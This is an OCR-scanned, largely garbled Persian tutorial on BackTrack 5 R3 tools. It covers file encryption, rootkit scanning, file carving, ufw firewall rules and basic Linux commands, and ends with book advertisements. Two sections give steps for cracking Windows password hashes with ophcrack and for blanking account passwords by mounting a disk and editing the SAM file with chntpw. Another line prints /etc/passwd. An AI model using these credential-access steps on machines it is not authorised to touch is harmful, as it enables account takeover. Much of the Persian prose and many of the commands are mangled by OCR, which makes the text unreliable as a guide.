wget http://cipherdyne.org/gpgdir/download/gpgdir- 1.9.5.tar.bz2

dir-198sbetar.bz2

Lo L5 5,50 L1 (slasl oglils (Y

wget http://cipherdyne.org/gpgdir/download/gpgdir- 1.9.5.tar.bz2.asc




/public Jey
ublic key

. connected.

2012-09-83 17:28:24 (185 MB/s) - "public

gpg --import public_key
gpg --verify gpgdir-1.9.5.tar.bz2.asc

Y.5L kAT b2l
P cDT ]

rint: 4D66 44A9 DAO3 6964 BDA2 98 E6CY

tar xfj gpgdir-1.9.5.tar.bz2

cd gpgdir-1.9.5

Jinstall.pl

::ReadKey is already installed in the

Installin 3 i
Iu Ta11 _pqdl1 1 WHI paqw as: fusr/sha

:4aUﬁ onflj?l(?




identifier,
jptions. Exiting.

oS SU ) (Slol sla e g s (6, L (Y
vi /root/.gpgdirrc
SuS Bde |, default_Key aols :ausS

default key

ol el (san Ko sl 1y adgl Jol e Lril G
iy Ol ygiws dalol o
gews )
mkdir /encrypted_directory
Ao Jasl jalgd plas |y wish encrypt aslgses a5 1, glo LB e Y
g Y

gpgdir -e /encrypted_directory

: /sourcecode/gpgdir fencrypted directory
iting: gpgdir -e /Jencr
: efault GnuPG key.
E|TH= password (for initial encrypt/decryp
Password: |

Q5 ks je jale8 nl 6lp sl 85 g F

..\J RIERNA




Mg |y 3 jeiwd S 5 encrypt cdls sl jaled asiol ol o 1SS
gpgdir -d /encrypted_directory

:~/.gnupg#=gpgdir
' r -d

GnuPG key.

o ol ol o 1y Blal g (guds OIS

http://cipherdyne.org/gpgdir/docs/.

:Scanning for signs of rootkits

8l (lgy Jd 5l ooz, pl 5l 6 S el (gl S PEIRY V-H PUWIPGOWSURESR S VEL SR RICON 1AL S - SUC S
S oo oolaiwl checkrootkit ;|

) o

Applications | BackTrack | Forensics | Anti-Virus Forensics Tools | chkrootkit:

™ BackTrack O Information Gathering

% Internet
-::: Multimedia
k e
¥ U'E.'t-:” Fore

Forensic Analysis Tools

L RFID To ols v

Forens

@ Stress Testing ¥ & Forensic

-+ Forensic Imaging Tools

cd /pentest/forensics/chkrootkit
.Jchkrootkit

e ) ol sl (29,5 wils oo Lot Cales 10 5 S oo 0,5 oSl 4y 5,8 Slegsl O jgo 4y 138l 0 5 s




nothing found
. nothing found

. nothing found

in/dhclient3)

ng deleted
Ted

=leted
b found

5,5 dale S8 Loy a5 aads oyl j0 a5 5 )ls 5929 rkhunter rootkits oL L wo S0 1580 6 5 SO

).a) )93.“:-) \
rkhunter --check

P delys Slawle 5l Gledbl 6 ,uSs Y




: chkrootkit jo golpcion Olygws
Slsys ags i-h
ool Jl> o oS Bgy 559 s -V

FCOUR [ PSR VORI PSCSVR JEN BN IR SRV
:rkhunter ;5 solsdioy Ol ygiws

D8l e pemlins 5355 55, 4 ()
rkhunter --update
it [yl BB a5 Sls Ces gl Jgile g o cuS g Cond a0 (Y

rkhunter --list

(SKIp Jos) 098 oo ooliiwl ) Herws 51 500 bd 4 Cud Sl 1835 g Lzl 2 gl (F
rkhunter --check --sk

:Recovering data from a problematic source

BB g9, 5 0o Jio Slaal gl sl [l G lgie 4y aS 098 e oolauwl b b oL 6l fatback
Swd 3yl S5 L USB <SG 50 0008 ] ledlbl ol - Mie 04 oo ooliin! Lo

A w3 S plaglis yass ()

oS oo oolatwl /dev/sdbl L bxs! jo 1aisS

t physical/logical beg
C 184, 49)

o Ll o s a5 gl yolsd Sy il (Y
mkdir /fatback
mkdir /fatback/thumbdrivefiles




9 2 et & s (F
cd /fatback

Applications | BackTrack | Forensics | Forensic Carving Tools | fatback

= = L—
& BackTrack Q. Information Gathering

,g Graphics Vulnerability Asses
, Intemet 4 Exploitation Tools
m Office \ Privilege Escalation
ﬁ Other HJ Maintaining Access
|= Sound & Video I | Reverse Engineering
tem Tools 1’ RFID Tools & ﬂ‘f— Anti-Virus Forensics Tools
% Stress Testing -f- Digital Anti Forensics
“‘](" Forensics > Digital Forensics
Reporting 1=~ axtundelete «f— Forensic Analysis Tools
Services & fatback «-f— Forensic Carving Tools

? Miscellane =< gremost «{- Forensic Hashing Tools

g

B¢ |1 S0e5 & 00 4 fatback : -a

/fatback/thumbdrivefiles :coul 5 e Jlio ol 10 g S (6,J0055 Sl juano 1 -0




/dev/sdbl il jewo ol w8 DL T, L] alss o be aST Sledbl el (o 4
Vb Sledg @ azgi b ) e (F
fatback /dev/sdb1l -o /fatback/thumbdrivefiles -a

oS ooy S g m2ae 2) e e 4 b YU oo pledl 5l am

Is
cd thumbdrivefiles
Is

el 0 Db3b BB (6o 4 sin (oo A

:/fatback# 1s
¢.log thumbdrivefiles
:/fatback# cd thumbdrivefiles

: /fatback/thumbdrivefiles# 1s
AdobeAIRInstaller.exe Awnet-logo.png Curam-Software.png gotcha.exe
1sigra-logo. jpg Brocade+Logo 2012.png Deloitte Logo.png

: /Tatback/thumbdrivefiles#

gy p) Colw a i Sledbl o 6l Caws 4 sl y

http://www.forensicswiki.org/wiki/File Carving

:Retrieving a Windows password
oS oo oolaiwl Ophcerack Jio (6,158 0 5 51 59009 9 5mn 2b 3L lp i ol yo

25 39 o5 35k )
http://ophcrack.sourceforge.net/tables.php.

e Huon : | Projoct page: | Down Teseae

Thesze tables can be uzed to crack Windows ¥ passwords (LM hashes). They CAMMOT crack Windows Vista and 7
passwords (MT hashes)

92— mp_german(7.AGB)

specinl *p_special(7 SGE)

106,k 0,90 table gq5 Ol (Y

mixedalphanum xp_free small(3B0MB) and xp_free fast /O3ME)

length 1-3 5 | [ 7 | =] ] Rl 11 1=

T XP fres small (320MB)
'\ 4 I@) Tormcrly known g SETHCO04- 10k

e vaabens M8 MY

LIRS
Charset: 012315670%abocdefghijkimnopgrstuvwicy=ADCDCT Gl IJHKLMMNOPQRSTUWWICYE
mdSsum: 17cfa2fe613e2752360 1123eb241be8E

#7 T3, XP free fast (F03MB)




Swles Gl 1) tables a5 5 5 00405 5L o |, opherack &b e (¥
| * Table Selection
. Directory Statu
| @ XP free fast not instg
B - XP free small froot/Desktop/small on dis|
@ tabled on dig
@ tablel on dig
@ table2 on disg
@ table3 on dig
XP special not instze
XP german v1 not instd
XP german v2 not insta
Vista special not instg
Vista free not instg
Vista nine not instg
Vista eight not instg
Vista num not instg
Vista seven not instz
XP flash not instg

Aficta aiokbE Wi nat oot

e — i

@ = enabled 2 = disabled @ = not installed

| Install [ |

install &g, » SIS (F

Applications |BackTrack| Privilege Escalation| Password Attacks | Offline Attacks | Ophcrack-GUI

> @ 9@

Tables Crack Help Exit
Progress | Statistics Preferences

User & LMHash | NTHash | | M Pwd2

Directory

Preload: waiting | Brute force: waiting | Pwd found: | /0 | Time elapsed: Oh On




Load au ;5 5l oS Gl |y 0e5 SAM LB wsl beds s (F

sSingle hash
PWDUMP file
Session file
Encrypted SAM

RV R @u)b:.:.osafgsbi,lsCrack S9y » <uled o (VY

:Resetting a Windows password

1S oo Sdadlone BB cnl 5l Jole piasns (25000 D)9 4 eitS S |) Sa0ng 95 meolsS (o0
S g 1y 5 Ol ygiws . C:\Windows\System32\Config
g ()
fdisk -l
mount /dev/sdal /target/
SAM s 4y o533, (Y
cd /target/windows/system32/config
1Ohgiome (50,5 Cand (¥

)J) )93.w-> (f
cd /pentest/passwords/chntpw
:Ml.;).g 6‘).?| 0

.Jchntpw -i /target/windows/system32/config/SAM




What to Do? area, :awy o Jlow S (¢
RCVUWEPSUR R IICR V= PO

w2lg> o0l cwyiwd b ST L ez s ) ) sae saoxe dalsl o (Y

(password blank) ws slou! Lo gl (I 0 5m SO aS Conl cpl gl b ol ) sae ig o2 5L (A

:Looking at the Windows registry entries

o |y (6 plad Slgizme > muilss oo Lo Chntpw. I3l L
9 Olygiws ()
fdisk -I
mount /dev/sdal /target/
SAM s (Y
cd /target/windows/system32/config

oo (V
cd /pentest/passwords/chntpw
(0SS bl auly o auiils Cawgs Lo a5 1) 0w ) interactive mode cll> 4 aeliy (28, (O

.Jchntpw -i /target/windows/system32/config

What to Do? area o, (oo Jlgw (¢

RCVOWRPSER I IR TS
i) 59w b o e 4y g s Lo e (Y
Is

gy ooyl i a5 5,0ls8 4 CD Hewo L (A
cd

A8 Gl 1y a0y (6 ey Ghey ol b oy oo




iad 0 )l sl ol

http://indonetworksecurity.com/Network%20and%20website%20security/linux/page/4

chntpw:

http://www.wikihow.com/Change-a-Windows-User-Password-Using-Backtrack-4

http://www.quali5.asia/2013/03/convert-guest-account-into.html

http://securityxploded.com/backtrackregistry.php

www.youtube.com/watch?v=G15vPhnmQ3Gk

www.youtube.com/watch?v=ukg)-kgTjrc

http://www3.nd.edu/~dpettifo/tutorials/chntpw.html

ophcrack :

www.youtube.com/watch?v=X1krdBR RRo

http://www.rmprepusb.com/tutorials/ophcrack

www.youtube.com/watch?v=di3Blqg40bE

fatback:

http://indonetworksecurity.com/linux/tutorial-fatback-backtrack.htm

www.youtube.com/watch?v=0TYLg2wTr00

http://www.securitytube.net/video/4245

chkrootkit:

www.youtube.com/watch?v=Z2qs0CXfqVfU

http://hackingdna.com/Description.aspx?ltemHeaderld=3179E185-4F7A-4568-8DDA4-
B563C5F050F2

http://fuzzexp.org/the-backtrack-forensics-the-howto.html

http://sourceforge.net/apps/trac/rkhunter/wiki/SPRKH

http://hackingbuzz.com/hunt-rootkits-with-rootkit-hunter-tool/

snort:

http://www.thegeekstuff.com/2010/08/snort-tutorial/

http://security.koenig-solutions.com/1/post/2013/02/configuring-snort-in-backtrack-5-
r3.html




http://openmaniak.com/snort tutorial snort.php

http://www.linuxuser.co.uk/tutorials/protect-your-network-with-snort

gpgdir :
http://archive09.linux.com/feature/132999

http://kerry-linux.ie/wee/cloud/wee-owncloud.php

:awisl Port Knickong Clis cow W0 wolpin

http://cipherdyne.org/blog/categories/port-knocking-and-spa.html




Appendix One

Dz 41 b dered al )3 Sl Ken 45 e B )5 g 97 i3k 0 B 02 638 S b 0
Dy Cawd l liwgd C8g ¢ aS U oy b Lo diged b VY Igu
.Create or extract [tar, zip, tar.bzip2, tar.gz ] files
tar Wgwy U BB cslu
S tar -cvf filename.tar filename
:tar.gz gtar wgws U LG Z1 sl
S tar -xvf filename.tar

tar -xvzf filename.tar.gz
1Zip Wigww b BB cslu
zip filename.zip
1ZIp Kguwy U U ZI pouiwl
unzip file.zip -d destination_folder
18Z Nguwy U U I poin
S gunzip file.gz

S gzip -d file.gz
tar.bz2 Wi U b1 Z! 5wl
bzip2 -cd file.tar.bz2 |tar xvf-
(Gl (SB1F & g0 40) S caai |y o 5 7 0 SYNaptic 511, xarchiver 1330 s 5 olario,
:UFW Jlg B L ,I8

Ll coai ubuntu 10.04 54, p (o raian Oy 4 aS Jlgpld S




UFW g5l s

sudo ufw enable
UFW G}L‘“ JL*& )...c

sudo ufw disable
gl sy 0,5 S

sudo ufw status verbose

root@bt:~# ufw status verbose

Status: active

Logging: on (low)

Default: deny (incoming), allow (outgoing)

New profiles: skip

sudo ufw status

sudo ufw status
Firewall loaded

Action From

DENY 192.168.0.1
DENY 192.168.0.1
DENY 192.168.0.7
DENY 192.168.0.7
ALLOW 192.168.0.0/24
ALLOW 192.168.0.0/24

UFW 5 055 (yilsd 5l oolaul

o2 (o Tmog Hlwgd Lol slp Lo b
:‘515 )53.“:.5

sudo ufw allow <port>/<optional: protocol>




sudo ufw allow 53
sudo ufw allow 53/tcp
sudo ufw allow 53/udp

sudo ufw deny <port>/<optional: protocol>

sudo ufw deny 53/udp
sudo ufw deny 53

(IS g
sudo ufw allow from <ip address>
RUCOW-SSVE VR B [« IS [ NP U EPCOWEIP VRSP S 0 g | L
sudo ufw allow from 207.46.232.182
:Nog subnet Ll aiy o STL
sudo ufw allow from 192.168.1.0/24
(SIS s
sudo ufw allow from <ip address> to <protocol> port <port number>
o JSSgp dad slp YY &g (61 192.168.0.4 yoy0l 1P &y (s s o5l :F Jlie
sudo ufw allow from 192.168.0.4 to any port 22
(S g

sudo ufw allow from <ip address> to <protocol> port <port number> proto <protocol name>

sudo ufw allow from 192.168.0.4 to any port 22 proto tcp
:ping  Jes ,5 Enable/Disable

DS Glalpg 1) 25 e BB WL
/etc/ufw/before.rules

DS S5lg 1) 5 Ol ygiws Km0, Jled sl




# ok icmp codes

-A ufw-before-input -p icmp --icmp-type destination-unreachable -j ACCEPT
-A ufw-before-input -p icmp --icmp-type source-quench -j ACCEPT

-A ufw-before-input -p icmp --icmp-type time-exceeded -j ACCEPT

-A ufw-before-input -p icmp --icmp-type parameter-problem -j ACCEPT

-A ufw-before-input -p icmp --icmp-type echo-request -j ACCEPT

DROP s 50 ACCEPT slow ping Jos 0,5 Jlad e (gl p 1SS
# ok icmp codes
-A ufw-before-input -p icmp --icmp-type destination-unreachable -j DROP
-A ufw-before-input -p icmp --icmp-type source-quench -j DROP
-A ufw-before-input -p icmp --icmp-type time-exceeded -j DROP
-A ufw-before-input -p icmp --icmp-type parameter-problem -j DROP
-A ufw-before-input -p icmp --icmp-type echo-request -j DROP
il osleds (bl ailsd b 00,58
1Ol b oles slass paus

sudo ufw status numbered

oyl ool 5y B

sudo ufw delete 1

=] root@bt: ~

File EdiL View Terminal Help
ufw allow Tfrom 192.168.9.4 to any port 22 proto tcp

ufw status numbered

[ 11 22/tcp ALLOW IN

:—# sudo allow from 192.168.1.41 to any port 22
Rule added
:—# sudo status numbered

Action From
ALLOW 1IN 192.168.8.4
ALLOW IN 192.168.1.4

=& surdn ulw delele 1
cleting:
allow from 192.168_0.4 TO any port 22 proto tcp
roceed with operation (yIn)? ¥

-# sudo ufw status numbered
: active

ALLOW IN 122.168.1.4




. 192.168.0.7 5192.168.0.1 5192.168.0.3 (sl Lyu,sliP L YY &5y (ms yiasd (55,5 Sgihams 1) g3, Lins

sudo ufw status
Ggwd ! Jd)ams

Firewall loaded

Action From

DENY 192.168.0.1
DENY 192.168.0.1

DENY 192.168.0.7
DENY 192.168.0.7
ALLOW 192.168.0.0/24

(o198 50,5 Jles! 5l aa) 4z
sudo ufw delete allow from 192.168.0.0/24 to any port 22

sudo ufw status

Firewall loaded

To Action From

22:tcp DENY 192.168.0.1
22:udp DENY 192.168.0.1

22:tcp DENY 192.168.0.7
22:udp DENY 192.168.0.7

sudo ufw deny 192.168.0.3 to any port 22
sudo ufw allow 192.168.0.0/24 to any port 22 proto tcp
sudo ufw status

Firewall loaded




Action From
DENY 192.168.0.1

DENY 192.168.0.1

DENY 192.168.0.7
DENY 192.168.0.7
DENY 192.168.0.3
DENY 192.168.0.3
ALLOW 192.168.0.0/24

ol s oo Jlasl oyl Bi
ufw deny 80/tcp
sudo ufw delete deny 80/tcp
B s gy

less /etc/services

e 9 (0 oS (S5l 0oly )l (9 p (es mu,lo e A5y cing e e

sudo ufw allow <service name>
sudo ufw allow ssh

sudo ufw deny ssh
:Command in BT5-R3

:touch jgiws ()
el b CSle jgiws
touch alimp5.html
:Cat )9.‘;..»0 (Y
o |y Bl Sl giome oles oo
:echo jgiws (Y
oS oo oolainl BB gy 0 o SOy e gl

echo salaaam > alimp5.html




cp alimp5.html /tmp/alimp5.html

Mv alimp5.html /root/alimp5.html

mv alimp5.html jafar.html

rm jafar.html

kill -1580

Find /root index.html

adduser azimzadeh

1Cp Heiwo (F

Bg oo oolaiwl 50,5 S gl

: mv)g;;.wo (A

Sgd oo oolwl rename 4 0,5 cut gl

rm giws (F

g oo ookl BB o S Sl

: PS aux jgws (Y

Kl g (A

Oy.o &° oolazu! JL:& 9 w 6‘)‘.’

: Locate g (8

:Find S5 ("

:adduser ,go()

;uname —a ,giws (VY

3] (o S | s 55 el

s —la jgws (VY




: passwd ,giws (VY

/etc/passwd

S oo o] iy 4 pladl cat L

Cat /etc/passwd
ialiSeo gdigun b 1 cuai
.deb Wy ly
dpkg -i locataion-file
;e
dpkg -i /root/Desktop/ali.deb
DLrpmM Gigun sl
rpm -i locataion-file
;e
rpm -i /root/Desktop/ali.rpm
:EXE g )y
wine location-file.exe
s
wine /root/raidcall.exe
o B (5018 jgom0) (o ywd

O9ze aaless glxl Ll pl Jg wul aisle Sh Waws b coo Sl G el o0 o lid Ll & Jlie b
2yl (permission)  w s




root [P¥ root - File Browser
Edit View Terminal Help File Edit View Go Bookmarks Help

r ¢ & € A [«|[aroe]

e

ot Personal

& root m il i
B Desktop Desktop Documents 3D (10).jpg
il Documents
& Trash , )

Devi alimp5.sh iptables- openvas.sh
evices flush.sh
£ File

S

alimp5.sh (~) - gedit
fofa File Edit View Search Tools Documents Help

IT
| = g ©Open v [~iSave h'z_l'

alimps.sh 3% I

echo "teach and learn BT by azimzadeh(alimp5)"|

de ot e % dh e ot et e e % % ke % %

.falimp5.sh
.falimp5.sh: Permission denied
Hee |:|

) Gl 0l o yiwd &y bogy o a5 Lol jgiws @S0l b asS eolawl sh alimp5.sh jgiws 5l Jle cpl 6l L L
WS o Ghe b LB ass (gl as ouS eolanl

chmod 777 alimp5.sh

.Jalimp5.sh
P Jole oot 41 (55l cpiilo 31 1 JLi

Ohgy S dues il Lo j90mg 4 VPOX L vmware L. B ol ail bl a5 J50 o Ll

020 oo 7o Lad sl 1) Ll 51 (S0 (e a5 3,18 3529

0S i |y apache g a8, 5 e 4 ol ()




Y Applications
%- Accessories
"";i'_“ BackTrack Information Gathering
0 Internet Vulnerability Assessment
{4 other Exploitation Tools
@ Sound & Video Privilege Escalation
» System Tools Maintaining Access

® Wine E Reverse Engineering
=7 RFID Tools
] E Slress Tesling
2 “ Forensics
Reporting Tools

i g;. Services g;, GPSD

Miscellaneous E; HTTPD “ apache start

Ei MySQLD “= apache stop

Es, pcsco

J 5‘. SNORT Sarvice

gi SSHD

[var/www
WWW - Flle Browser

ile Edit View Go Bookmarks Help

@ € Q[ ver o]
i 4

sersonal e T
_ y y =
& root sha.

i@ Desktop tplink_et wstool bt-vm.zip error.html getwlanprofil

es.rb
[l Documents
<! = <!
T Trash i =2 ' . 5

Jevices gradientstrip.  index.html index222. savekey.php  update.html

_ File System s html

Sstwark ¥ e |t
=i Entire network verizon.css  vlogo_blk.gif
azimzadeh

1S g 1) 095 b mol ol jod 4 (gjlome pitle 0TI s 8 90 Jole piacs 4o (Y

ifconfig :)giwo b g3loee cuile (po,ol P aus 1 4SS




127.0.0.1/bt-vm.zip :ousgi ;5,950 ,0 |y p) y5iws @pache 0,515 5l como (gl 1aisS

S ] 590isg 0 995 5900 50 1) 5 sgws (F
http://192.168.1.3/bt-vm.zip
oy g0 09bls Lads JLai 5550 6 ST 50

ol 4 G oS 0gbils Bl ol bl en 4wl e COMOdO I plb piiews (59, p pols o 0 1aSS
b o bl LIS ol e L3 g antly ails cdo SIS

: DHCP_Server&Client cuas

:Jol O%s)

synaptic
dhep3 oS g 1) 2j e e
S cwas |, dhep3-server 4 dhep3-client 4 dhcp3-common sl L aslsl jo
Synaptic Package Manager

Quick search

Bae s | dhcp3
Properties

Search

' Package : Instalied Version ! Latest Version iDesc
dhcp3-common 3.1.3-2ubuntu3.2 3.1.3-2ubuntu3.2 com
dhcp3-relay 3.1.3-2ubuntu3.2 DHC
dhcp3-client 3.1.3-2ubuntu3.2 3.1.3-2ubuntu3.2 DHC
dhcp-helper 1.0-1 A DF
dhcp3-dew 3.1.3-2ubuntu3.2 APIT
dhcp-client 3.1.3-2ubuntu3.2 DHC
dhcp3-server 3.1.3-2ubuntu3.2 3.1.3-2ubuntu3.2 DHC
dhcp3-server-ldap 3.1.3-2ubuntu3.2 DHC

@089

Usd00d

=

common files used by all the dhcp3* packages

| Get Screenshot |

This package contains the files used by all the packages from ISC
DHCP version 3.

stalled, 0 broken. 0 to install/upgrade, 0 to remowve




P9 99

sl ubuntu 10.04 6l 5 sle LB JLss & www.pkgs.org cole o
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http://www.proprofs.com/webschool/search.php?tag=true&search=backtrack,+hackers,+hac
king,+linux,+nmap,+snort,+power

http://www.wikihow.com/Unzip-Files-in-Linux

https://help.ubuntu.com/community/UFW

www.youtube.com/watch?v=cscle9fYKMU

http://www.ubuntugeek.com/ufw-uncomplicated-firewall-for-ubuntu-hardy.html

https://help.ubuntu.com/community/Gufw

http://ubuntuforums.org/showthread.php?t=823741
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BackTrack 4: Assuring
Security by Penetration Testing

BackTrack 5 Wireless
Penetration Testing

reless testing techniques

Beginner's Guide

o
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Metasploit Penetration
Testing Cookbook

Advanced Penetration Testing for
Highly-Secured Environments:
The Ultimate Security Guide




CentOS 6 Linux Server
Cookbook

4 FREE BOOKLETS X@ﬁﬂ'ﬁ\*

Writing
Security Tools
and Exploits

Learn to Write the Security Tools
the Other Books Only Teach You to Use

+ Master Advanced Payload Generation with the Metasploit Framework

» See HOW Exploits Were Developed, WHY the Code Was Yulnerable, and
WHAT You Can Do to Stop the Next Vulnerability

+ Reverse Engineer and Analyze Shellcode with Live Examples
Using Ethereal, WinDump, and Maore

James C. Foster
Vincent T. Liu
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Systematic Technigues to Find Problems Feast

Security Testing
Cookbook

O’'REILLY" Paco Hope & Ben Walther

Nmap 6: Network Exploration
and Security Auditing Cookbook




Wireless Security Seerets & Solutions

i

Offensive Security

Penetration Testing With
BackTrack

PWB Online Lab Guide

v.3.0




Basics OF Metasploi¢ , Vlnerability Analysis , Valnerability Exploitation,
Intelligence Gatherme , Termmology OF Hacking , Scannimg And o Etc...
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WIRELESS SECURITY AND
g PENTEST TUTORIAL o

by Nuno lreitas

USI NG BAC KTRACK 271052012

The tutorial about Network Security and Pentest using Backtrack that
cowvers Networking Basics, Wireless Networks Basics, Wireless Penetration
and Securing Wireless Networks.




